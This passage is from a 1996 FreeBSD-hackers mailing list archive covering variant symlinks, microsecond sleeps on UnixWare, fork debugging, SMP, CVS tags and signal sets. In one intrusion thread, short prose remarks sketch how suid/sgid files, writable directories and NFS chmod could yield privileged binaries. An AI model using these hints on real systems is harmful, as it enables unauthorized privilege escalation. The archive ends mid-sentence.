jkh@time.cdrom.com (Jordan K. Hubbard) Date: Fri, 28 Jun 1996 01:07:33 +1000 (EST) Cc: pechter@shell.monmouth.com, freebsd-hackers@FreeBSD.org In-Reply-To: <29794.835839033@time.cdrom.com> from "Jordan K. Hubbard" at Jun 26, 96 06:30:33 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > I'm a fan of OS/x and Pyramid dual universe stuff (which I will add to > > Freebsd -- think universe bsd and universe gnu/linux) and EVEN I think ONE > > Yuck! That was a total kludge, and Apollo's variant symlinks a far > more powerful/flexible approach (plus you don't have an extra > "universe" command, you just set environment variables - principle of > least surprise). Please don't perpetuate that system! :-( > > > 2. Declare the BSD method (the REAL original crontab) the winner. > > I think this is probably our best bet. > > Jordan > OS/x used variant syslinks. -- "Of all tyrannies a tyranny sincerely exercised for the good of its victims may be the most oppressive. It may be better to live under robber barons than under omnipotent moral busybodies, The robber baron's cruelty may sometimes sleep, his cupidity may at some point be satiated; but those who torment us for own good will torment us without end, for they do so with the approval of their own conscience." - C.S. Lewis, _God in the Dock_ +---------------------+--------------------+----------------------------------+ |Julian Assange RSO | PO Box 2031 BARKER | Secret Analytic Guy Union | |proff@suburbia.net | VIC 3122 AUSTRALIA | finger for PGP key hash ID = | |proff@gnu.ai.mit.edu | FAX +61-3-98199066 | 0619737CCC143F6DEA73E27378933690 | +---------------------+--------------------+----------------------------------+ From owner-freebsd-hackers Thu Jun 27 11:08:46 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA14575 for hackers-outgoing; Thu, 27 Jun 1996 11:08:46 -0700 (PDT) Received: from tombstone.sunrem.com (tombstone.sunrem.com [206.81.134.54]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA14569 for ; Thu, 27 Jun 1996 11:08:40 -0700 (PDT) Received: (from brandon@localhost) by tombstone.sunrem.com (8.6.12/8.6.12) id MAA00433; Thu, 27 Jun 1996 12:08:34 -0600 Date: Thu, 27 Jun 1996 12:08:34 -0600 (MDT) From: Brandon Gillespie To: freebsd-hackers@freebsd.org Subject: portable microsecond sleeps Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk We have a server package that talks to a visa pos port. We run this on a unixware box and on a freebsd box. At one point in the code we need to have a microsecond sleep. BSD has usleep(), however unixware does not (unless you use /usr/ucb/cc, which is EXTREMELY broken and buggy, so its not really an option :) Instead we have tried using select to achieve a microsecond sleep, but when we run this on the unixware system it munches CPU time. Any suggestions for other ways to achieve microsecond sleeps? -Brandon Gillespie From owner-freebsd-hackers Thu Jun 27 11:19:49 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA14981 for hackers-outgoing; Thu, 27 Jun 1996 11:19:49 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA14974 for ; Thu, 27 Jun 1996 11:19:45 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA05396; Thu, 27 Jun 1996 11:17:53 -0700 From: Terry Lambert Message-Id: <199606271817.LAA05396@phaeton.artisoft.com> Subject: Re: no subject (file transmission) To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Thu, 27 Jun 1996 11:17:53 -0700 (MST) Cc: pechter@shell.monmouth.com, freebsd-hackers@FreeBSD.org In-Reply-To: <29794.835839033@time.cdrom.com> from "Jordan K. Hubbard" at Jun 26, 96 06:30:33 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > I'm a fan of OS/x and Pyramid dual universe stuff (which I will add to > > Freebsd -- think universe bsd and universe gnu/linux) and EVEN I think ONE > > Yuck! That was a total kludge, and Apollo's variant symlinks a far > more powerful/flexible approach (plus you don't have an extra > "universe" command, you just set environment variables - principle of > least surprise). Please don't perpetuate that system! :-( I have an implementation of variant symlinks. Only problem is that it changes the environment code to use logical name tables. This is a problem because: 1) Needs a system call entry point 2) getenv no longer returns pointer to environment buffer; it copies the variable out from kernel space to a size restricted (default: 4k) static buffer, and points to the buffer. Multiple calls must copy data locally to allow the pointers to remain usable. It's 4k because of the !$%@! xterm "TERMCAP" setting (also _POSIZ_ARGS_MAX from limits.h). 3) (char **environ) goes away. This is not really a big deal, since it is screwed up for 8 bit anyway (should be unsigned), but it can make use of execve(2), execle(3), and exect(3)... uh, difficult. There is also the issue of POSIX definition of environ. I suppose it could be maintained in parallel rather easily; there is a problem with the ** vs. *[] declaration of environ vs. envp, anyway, given ANSI C's stupid array-not-pointer-to-pointer semantics. Specification of a non-procedural environment access was a critically stupid thing for POSIX to do, since it prevents direct encapsulation (I suppose you could put it in another segment and dual map it, if you supported segement attributes in the kernel, which FreeBSD does not). The environment table is hung off the proc struct. Ideally, it would be copy on write. I didn't do that. There are three logical name tables: 1) Process: Hung off the proc struct of the current process. 2) Group: The LNT for the process which is the group leader. The process/group tables are the same thing for this process. 3) System: The LNT for the init process. Modifiable only by root. Getenv does a precedence inheritance of other environments: get from process LNT get from group LNT get from system LNT no such env Setenv/Putenv operates *only* on least environment: put to process LNT Unsetenv operates *only* on least environment: remove from process LNT It's a pretty obvious (and trivial) hack of moving the environment manipulation code into the kernel and making it take a pointer to an environment argument for most operations. The library routines become calls to the system call. The environment is copied on fork. Right now, the execve environment argument does nothing. Clearly, you could set/unset anything you wanted after the fork before the exec. Maybe a set function through the system call taking a list should be implemented later. Maybe execve(2) should become execve(3) with a call to the new list set function followed by a call to the exec(2) with the modified env. In any case, appropriate credentails will let you modifiy the process and group logical names from any process (non-root). This solves the "parent environment modification" problem. You can also, since you do not have to paw through a process data segment, access the contents of the environemnt for a process from the kernel. For instance in the namei symbolic link interpretation code to allow for variant symbolic links -- variant symlinks. Ideally, you would want to use logical name table manipulation in any new code to avoid the getenv() limitations, and to allow setenv/unsetenv type operations to operate on tables other than the process local table. Actually, the implementation is so trivial, I'm suprised no one has reimplemented it from my May 1994 description of my first implementation. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Jun 27 11:23:07 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA15146 for hackers-outgoing; Thu, 27 Jun 1996 11:23:07 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA15133 for ; Thu, 27 Jun 1996 11:22:46 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA05413; Thu, 27 Jun 1996 11:21:23 -0700 From: Terry Lambert Message-Id: <199606271821.LAA05413@phaeton.artisoft.com> Subject: Re: I need help on this one - please help me track this guy down! To: mbarkah@hemi.com (Ade Barkah) Date: Thu, 27 Jun 1996 11:21:23 -0700 (MST) Cc: terry@lambert.org, hackers@freebsd.org In-Reply-To: <199606270141.TAA25732@hemi.com> from "Ade Barkah" at Jun 26, 96 07:41:58 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > rcp preserves suid/sgid on the target system. Now look for a > > writeable sticky directory... > > I don't think this is true... even if it were, now the user owns > a setuid/setgid file, no big deal. Directory ownership can determine file ownership -- or at least group ownership. Easy to build group wheel, bin, or kmem binaries, assuming writable directories somewhere. Alternately, of you have mounted via an SVR3 NFS system, you can "give away" the file or directory to root via chmod. Where there is a will, there is a way. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Jun 27 11:27:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA15344 for hackers-outgoing; Thu, 27 Jun 1996 11:27:00 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA15333 for ; Thu, 27 Jun 1996 11:26:55 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA05432; Thu, 27 Jun 1996 11:25:19 -0700 From: Terry Lambert Message-Id: <199606271825.LAA05432@phaeton.artisoft.com> Subject: Re: longstanding, woeful inadeqacy To: alk@Think.COM (Tony Kimball) Date: Thu, 27 Jun 1996 11:25:19 -0700 (MST) Cc: jkh@time.cdrom.com, hackers@FreeBSD.ORG In-Reply-To: <199606270638.BAA00387@compound.Think.COM> from "Tony Kimball" at Jun 27, 96 01:38:17 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Quoth Jordan K. Hubbard on Wed, 26 June: > : Fork is an easier case since you don't need to swap the debugger's > : executable out - just attach to the new process. > > Easier in what sense? It is essentially impossible to debug anything > that forks, since by the time you can attach to it, it has gone > veering wildly out of control. DEFINITION: A process that forks while the "fork debug" flag is set will produces a "debug suspended" forked image instead of a running forked image. The debugger is expected to resume the process if it has set the "fork debug" flag on the parent process of the fork. Trivial. Same for exec. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Jun 27 11:29:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA15457 for hackers-outgoing; Thu, 27 Jun 1996 11:29:00 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA15449 for ; Thu, 27 Jun 1996 11:28:55 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA05451; Thu, 27 Jun 1996 11:28:09 -0700 From: Terry Lambert Message-Id: <199606271828.LAA05451@phaeton.artisoft.com> Subject: Re: SMP for 2 PPro-based system To: cihat@dirac.physics.buffalo.edu (Cihat Ozhasoglu) Date: Thu, 27 Jun 1996 11:28:09 -0700 (MST) Cc: hackers@freebsd.org In-Reply-To: <19960627082747750.AAA171@dirac> from "Cihat Ozhasoglu" at Jun 27, 96 09:27:47 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > i have a dual PPro supermicro (w/ natoma chipset) m/b w/ 200Mhz cpu's. i > would like to install freebsd but i am not sure if SMP is ready for prime > time. i would appreciate any recommendations. should i upgrade now or > should i wait? and which release is best as far as SMP is concerned? SMP is not release grade yet. Otherwise it would be in the main tree. It operates, with caveats, and is therefore usable. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Jun 27 11:33:24 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA15687 for hackers-outgoing; Thu, 27 Jun 1996 11:33:24 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA15682 for ; Thu, 27 Jun 1996 11:33:22 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA05442; Thu, 27 Jun 1996 11:26:57 -0700 From: Terry Lambert Message-Id: <199606271826.LAA05442@phaeton.artisoft.com> Subject: Re: sup tags again To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Thu, 27 Jun 1996 11:26:57 -0700 (MST) Cc: alexis@ww.net, freebsd-hackers@FreeBSD.org In-Reply-To: <645.835857926@time.cdrom.com> from "Jordan K. Hubbard" at Jun 26, 96 11:45:26 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > Anyone please tell me the last time: how do I know which > > tag belongs to which release? I.e. how do I find a tag for a specific > > snap for example? > > I'm afraid we don't tag for SNAPs. The most relevant tags you'll > find are RELENG_2_1_0 (-stable) and HEAD (-current). stupid "HEAD" is not a symbolic tag. That's why the damn CVS of a year ago puked out with a SUP updated CVS tree attempting a CVS updates of a checked out, modified source base (the CVS which came with 2.1R has this "feature"). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Jun 27 11:34:19 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA15779 for hackers-outgoing; Thu, 27 Jun 1996 11:34:19 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA15760; Thu, 27 Jun 1996 11:34:11 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA05468; Thu, 27 Jun 1996 11:30:17 -0700 From: Terry Lambert Message-Id: <199606271830.LAA05468@phaeton.artisoft.com> Subject: Re: I need help on this one - please help me track this guy down! To: lada@ws2301.gud.siemens.co.at (Hr.Ladavac) Date: Thu, 27 Jun 1996 11:30:17 -0700 (MST) Cc: michaelv@HeadCandy.com, vince@mercury.gaianet.net, ejs@bfd.com, mark@grumble.grondar.za, hackers@FreeBSD.org, security@FreeBSD.org, chad@mercury.gaianet.net, jbhunt@mercury.gaianet.net In-Reply-To: <199606270836.AA158394572@ws2301.gud.siemens.co.at> from "Hr.Ladavac" at Jun 27, 96 10:36:11 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > Seriously, you must be root to create a setuid root file. It doesn't > > matter *how* you try to create it. > > A five dollar question Vince: > > does root have .rhosts in his home directory? What is to be found there? > If he does, throw it away; it's enormously insecure. Similar with > /etc/host.equiv et cetera. man ruserok The authentication for vouchsafe protocols (rcmd/rsh based protocols) *specifically* ignores hosts.equiv and hosts.lpd for root. If root does not have a .rhosts, then it is secure from vouchsafe attack this way. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Jun 27 11:35:44 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA15851 for hackers-outgoing; Thu, 27 Jun 1996 11:35:44 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA15841 for ; Thu, 27 Jun 1996 11:35:40 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA05478; Thu, 27 Jun 1996 11:33:41 -0700 From: Terry Lambert Message-Id: <199606271833.LAA05478@phaeton.artisoft.com> Subject: Re: POSIX.4 signals + other POSIX.4 stuff to FreeBSD... To: bde@zeta.org.au (Bruce Evans) Date: Thu, 27 Jun 1996 11:33:41 -0700 (MST) Cc: hackers@freebsd.com, jau@jau.csc.fi In-Reply-To: <199606271240.WAA10241@godzilla.zeta.org.au> from "Bruce Evans" at Jun 27, 96 10:40:19 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > the kernel though. The kernel seems still to be infested with > > fragments of code that assume sigset_t is a simple integer > > type ANDing and ORing bits in the sigset_t variables instead > > of using the POSIX.1 macros to manipulate the signal sets. > > The kernel is allowed to do this as an optimization since it knows > that sigset_t is an unsigned int in the "machine-independent" file > . The POSIX macros require the sigset_t to be indirect > so they are likely to be unnecessarily inefficient. > > > containing such an array. I have now more or less figured out > > all these code fragments within the kernel itself, but it seems > > that also the Linux application binary interface etc. LKMs have > > More importantly, the size of a sigset_t is appart of the BSD binary > interface. The kernel would have to support variably-sized sigset_t's > to support old binaries :-(. There is no such thing as a variably-sized > struct, and the current sigset_t doesn't encode its size, this isn't > easy. Use the extended structure size only in the extension interfaces, and assume defaults for the non-extension interfaces (you will have to do this as part of the ABI mapping in any case). I did something similar to this for the fcntl() calls for NFS server locking, which requires system and process ID's for the proxy. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Jun 27 11:54:51 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA16800 for hackers-outgoing; Thu, 27 Jun 1996 11:54:51 -0700 (PDT) Received: from maki.wwa.com (maki.wwa.com [198.49.174.21]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA16786 for ; Thu, 27 Jun 1996 11:54:40 -0700 (PDT) Received: from wendigo.trans.sni-usa.com by maki.wwa.com with smtp (Smail3.1.29.1 #1) id m0uZMD9-000rRGC; Thu, 27 Jun 96 13:54 CDT Received: from vogon.trans.sni-usa.com (vogon [136.157.83.215]) by wendigo.trans.sni-usa.com (8.7.5/8.6.12) with ESMTP id NAA22414; Thu, 27 Jun 1996 13:49:39 -0500 (CDT) Received: from shyam.trans.sni-usa.com (shyam.trans.sni-usa.com [136.157.82.43]) by vogon.trans.sni-usa.com (8.6.12/8.6.12) with SMTP id OAA10896; Thu, 27 Jun 1996 14:02:23 -0500 From: hal@snitt.com (Hal Snyder) To: Brandon Gillespie Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: portable microsecond sleeps Date: Thu, 27 Jun 1996 18:54:53 GMT Organization: Siemens Nixdorf Transportation Technologies Message-ID: <31d2d8a0.2025756@vogon.trans.sni-usa.com> References: In-Reply-To: X-Mailer: Forte Agent .99e/32.227 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 27 Jun 1996 12:08:34 -0600 (MDT), you wrote: > Instead we have tried using select to achieve a microsecond sleep, but > when we run this on the unixware system it munches CPU time. That is puzzling. Not that I know Unixware. > Any suggestions for other ways to achieve microsecond sleeps? Does Unixware do pthreads? I don't have docs handy here, but think there may have been a microsleep in Pthreads. From owner-freebsd-hackers Thu Jun 27 11:58:44 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA16953 for hackers-outgoing; Thu, 27 Jun 1996 11:58:44 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA16933; Thu, 27 Jun 1996 11:58:40 -0700 (PDT) Received: from relay-4.mail.demon.net (relay-4.mail.demon.net [158.152.1.108]) by who.cdrom.com (8.6.12/8.6.11) with SMTP id LAA05600 ; Thu, 27 Jun 1996 11:58:38 -0700 Received: from post.demon.co.uk ([158.152.1.72]) by relay-4.mail.demon.net id ai21846; 27 Jun 96 18:23 GMT Received: from jraynard.demon.co.uk ([158.152.42.77]) by relay-3.mail.demon.net id aa27054; 27 Jun 96 18:09 +0100 Received: (from fqueries@localhost) by jraynard.demon.co.uk (8.6.12/8.6.12) id MAA00863; Thu, 27 Jun 1996 12:26:42 GMT Date: Thu, 27 Jun 1996 12:26:42 GMT Message-Id: <199606271226.MAA00863@jraynard.demon.co.uk> From: James Raynard To: bill@twwells.com CC: freebsd-questions@freebsd.org, freebsd-hackers@freebsd.org In-reply-to: <4qtdi8$gjd@twwells.com> (bill@twwells.com) Subject: Re: a talkd/write improvement I made Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >>>>> bill@twwells.com (T. William Wells) writes: > > One of the annoyances of talk is that it's all or nothing. If one > has mesg y, anyone can talk to you; otherwise, no one can. So I > modified talkd so that it checks a .talkrc file in one's home > directory. A .talkrc might contain something like this: > steph@cyberenet.net > !*@cyberenet.net > *@admin.cyberenet.net > This means: allow steph@cyberenet.net to "talk"; forbid everyone > else on that machine. Allow anyone at admin.cyberenet.net to talk; > forbid everyone else. (It's using fnmatch(3).) Sounds useful. > This is all well and good, except that the write program can also > be an annoyance. So I modified it, too. But there's a problem. > While talkd runs as root and so can see anyone's .talkrc, write > runs as the invoking user and if that user can't see the callee's > .talkrc, write reverts to the default behavior, which is to allow > the write. How about *not* allowing the write if .talkrc exists but is unreadable? That way, I can make my .talkrc readable by a group that represents, for example, people working on the same project, and use it to filter them more selectively, while shutting everyone else out. If .talkrc does not exist, then allow the write (for compatibility with existing behaviour). > Anyway, if the FreeBSD people want the patches, I'll send them > along. But if they want them, they probably should let me know > how they want the above irregularity resolved.... Thanks for the offer. I've Cc'd this to freebsd-hackers to see if there are any other comments on this. -- James Raynard, Edinburgh, Scotland james@jraynard.demon.co.uk From owner-freebsd-hackers Thu Jun 27 12:24:26 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA18424 for hackers-outgoing; Thu, 27 Jun 1996 12:24:26 -0700 (PDT) Received: from brasil.moneng.mei.com (brasil.moneng.mei.com [151.186.109.160]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id MAA18412 for ; Thu, 27 Jun 1996 12:24:24 -0700 (PDT) Received: (from jgreco@localhost) by brasil.moneng.mei.com (8.7.Beta.1/8.7.Beta.1) id OAA10989; Thu, 27 Jun 1996 14:23:52 -0500 From: Joe Greco Message-Id: <199606271923.OAA10989@brasil.moneng.mei.com> Subject: kmem_malloc: kmem_map too small To: hackers@freebsd.org Date: Thu, 27 Jun 1996 14:23:52 -0500 (CDT) Cc: davidg@Root.COM X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Just a note, I saw the message from David about this.. > >I got a panic similar to the above every 15 minutes no a bsd 2.1R with > >12MB ram, 486/66 and apache 1.0.3 > > > >Anyone know what that error means? > > It means that the kernel ran out of malloc space. Pretty incredible > considering that it should have 32MB to work with. This is likely an > indicator that you have one or more kernel config parameters set in > the twilight zone. I just ran into this. The system is a 256MB P133 running INN, with a fair amount of shared memory in use. I have traditionally tweaked maxusers to be 2 * #MB_of_RAM so it had maxusers 512 :-) (I am shooting to see this machine hit 300-400 nnrp users, yes, I realize maxusers does not necessarily have to directly relate to that number, but...) The twilight zone is all relative. :-) ... Joe ------------------------------------------------------------------------------- Joe Greco - Systems Administrator jgreco@ns.sol.net Solaria Public Access UNIX - Milwaukee, WI 414/546-7968 From owner-freebsd-hackers Thu Jun 27 12:45:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA19473 for hackers-outgoing; Thu, 27 Jun 1996 12:45:47 -0700 (PDT) Received: from relay-4.mail.demon.net (relay-4.mail.demon.net [158.152.1.108]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id MAA19456 for ; Thu, 27 Jun 1996 12:45:33 -0700 (PDT) Received: from post.demon.co.uk ([158.152.1.72]) by relay-4.mail.demon.net id ae26974; 27 Jun 96 19:28 GMT Received: from jraynard.demon.co.uk ([158.152.42.77]) by relay-3.mail.demon.net id aa26994; 27 Jun 96 18:09 +0100 Received: (from fhackers@localhost) by jraynard.demon.co.uk (8.6.12/8.6.12) id JAA00671; Thu, 27 Jun 1996 09:49:26 GMT Date: Thu, 27 Jun 1996 09:49:26 GMT Message-Id: <199606270949.JAA00671@jraynard.demon.co.uk> From: James Raynard To: alk@think.com CC: jkh@time.cdrom.com, hackers@freebsd.org In-reply-to: <199606270638.BAA00387@compound.Think.COM> (message from Tony Kimball on Thu, 27 Jun 1996 01:38:17 -0500 (CDT)) Subject: Re: longstanding, woeful inadeqacy Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > : Fork is an easier case since you don't need to swap the debugger's > : executable out - just attach to the new process. > > Easier in what sense? It is essentially impossible to debug anything > that forks, since by the time you can attach to it, it has gone > veering wildly out of control. Not if you put a sleep loop in it:- int PauseMode = 1; if (fork()) /* parent */ .... else { /* child */ while (PauseMode) sleep(5); ... } and then set PauseMode to 0 when you attach. -- James Raynard, Edinburgh, Scotland james@jraynard.demon.co.uk From owner-freebsd-hackers Thu Jun 27 12:57:15 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA19934 for hackers-outgoing; Thu, 27 Jun 1996 12:57:15 -0700 (PDT) Received: from mail.barrnet.net (mail.barrnet.net [131.119.246.7]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id MAA19929 for ; Thu, 27 Jun 1996 12:57:13 -0700 (PDT) Received: from seagull.rtd.com (seagull.rtd.com [198.102.68.2]) by mail.barrnet.net (8.7.5/MAIL-RELAY-LEN) with ESMTP id MAA08373 for ; Thu, 27 Jun 1996 12:57:04 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/1.2) id MAA29819 for freebsd-hackers@freefall.cdrom.com; Thu, 27 Jun 1996 12:54:29 -0700 (MST) From: Don Yuniskis Message-Id: <199606271954.MAA29819@seagull.rtd.com> Subject: user database? To: freebsd-hackers@freefall.FreeBSD.org (FreeBSD hackers) Date: Thu, 27 Jun 1996 12:54:29 -0700 (MST) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Greetings! Has anyone/anything ever managed to integrate all of the miscellaneous user information into a single database? (i.e. along the lines of the "UDB" for sendmail). Thanks, --don From owner-freebsd-hackers Thu Jun 27 13:09:21 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA20733 for hackers-outgoing; Thu, 27 Jun 1996 13:09:21 -0700 (PDT) Received: from novell.com (sjf-ums.sjf.novell.com [130.57.10.171]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id NAA20728 for ; Thu, 27 Jun 1996 13:09:18 -0700 (PDT) Received: from INET-SJF-Message_Server by novell.com with Novell_GroupWise; Thu, 27 Jun 1996 13:09:05 -0700 Message-Id: X-Mailer: Novell GroupWise 4.1 Date: Thu, 27 Jun 1996 13:16:16 -0700 From: Darren Davis To: brandon@novell.com Cc: freebsd-hackers@freebsd.org Subject: portable microsecond sleeps - Reply Encoding: 28 Text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >>> Brandon Gillespie 6/27 12:08pm >>> We have a server package that talks to a visa pos port. We run this on a unixware box and on a freebsd box. At one point in the code we need to have a microsecond sleep. BSD has usleep(), however unixware does not (unless you use /usr/ucb/cc, which is EXTREMELY broken and buggy, so its not really an option :)Instead we have tried using select to achieve a microsecond sleep, but when we run this on the unixware system it munches CPU time.Any suggestions for other ways to achieve microsecond sleeps?-Brandon Gillespie >>> Ahh, my UnixWare days... There is no real good way to do this from user space in UnixWare. The UCB interfaces in UnixWare are somewhat broke as well. BTW UnixWare select is really implemented as a poll [We must walk carefully here otherwise we will get Terry going! {:-) ] I had implemented a psuedo driver in UnixWare to use the driver interfaces drv_hztousec(D3) as a highly accurate clock. Once having the clock you could "waste" the right amount of time. It is quite a trivial driver that implemented and ioctl interface that would use this interface. I tried looking for the code, but could not find it in my archives. Check into the man page and I think you will get the idea. Darren R. Davis Senior Software Engineer Novell, Inc. From owner-freebsd-hackers Thu Jun 27 13:16:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA21010 for hackers-outgoing; Thu, 27 Jun 1996 13:16:34 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id NAA21002 for ; Thu, 27 Jun 1996 13:16:31 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA05677; Thu, 27 Jun 1996 13:15:01 -0700 From: Terry Lambert Message-Id: <199606272015.NAA05677@phaeton.artisoft.com> Subject: Re: portable microsecond sleeps To: brandon@tombstone.sunrem.com (Brandon Gillespie) Date: Thu, 27 Jun 1996 13:15:01 -0700 (MST) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: from "Brandon Gillespie" at Jun 27, 96 12:08:34 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > We have a server package that talks to a visa pos port. We run this on a > unixware box and on a freebsd box. At one point in the code we need to > have a microsecond sleep. BSD has usleep(), however unixware does not > (unless you use /usr/ucb/cc, which is EXTREMELY broken and buggy, so its > not really an option :) > > Instead we have tried using select to achieve a microsecond sleep, but > when we run this on the unixware system it munches CPU time. > > Any suggestions for other ways to achieve microsecond sleeps? UnixWare is broken. The smalles sleep increment for select is 10uS. UnixWare does not conform to SVID III(RT), though it claims to implement the RT extenstions. The difference is "system clock frequency" vs. "system time update frequency". This problem is inherited by the 